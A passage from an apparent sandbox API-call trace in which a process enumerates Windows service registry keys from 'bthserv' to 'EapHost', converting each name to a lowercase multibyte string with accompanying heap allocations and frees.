lpUsedDefaultChar=0x0) returned 7 [0227.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.161] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.161] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.161] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0227.161] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0227.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0227.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0227.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0227.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0227.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x21f1ad8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0227.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0227.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x21f1d18, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0227.162] RegEnumKeyW (in: hKey=0x150, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0227.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0227.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0227.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0227.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0227.163] RegEnumKeyW (in: hKey=0x150, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0227.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0227.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0227.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0227.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csc", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csc", lpUsedDefaultChar=0x0) returned 3 [0227.164] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x21f1ad8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0227.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dclocator", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dclocator", lpUsedDefaultChar=0x0) returned 9 [0227.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dcomlaunch", cchWideChar=10, lpMultiByteStr=0x21f1ad8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dcomlaunch", lpUsedDefaultChar=0x0) returned 10 [0227.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="defragsvc", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="defragsvc", lpUsedDefaultChar=0x0) returned 9 [0227.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfsc", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfsc", lpUsedDefaultChar=0x0) returned 4 [0227.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dhcp", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dhcp", lpUsedDefaultChar=0x0) returned 4 [0227.165] RegEnumKeyW (in: hKey=0x150, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0227.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagtrack", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagtrack", lpUsedDefaultChar=0x0) returned 9 [0227.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discache", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discache", lpUsedDefaultChar=0x0) returned 8 [0227.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="disk", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="disk", lpUsedDefaultChar=0x0) returned 4 [0227.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dmvsc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dmvsc", lpUsedDefaultChar=0x0) returned 5 [0227.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dnscache", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dnscache", lpUsedDefaultChar=0x0) returned 8 [0227.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dot3svc", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dot3svc", lpUsedDefaultChar=0x0) returned 7 [0227.166] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dps", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dps", lpUsedDefaultChar=0x0) returned 3 [0227.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0227.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0227.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0227.167] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0227.167] WideCharToMultiByte (in: CodePage=0x0, 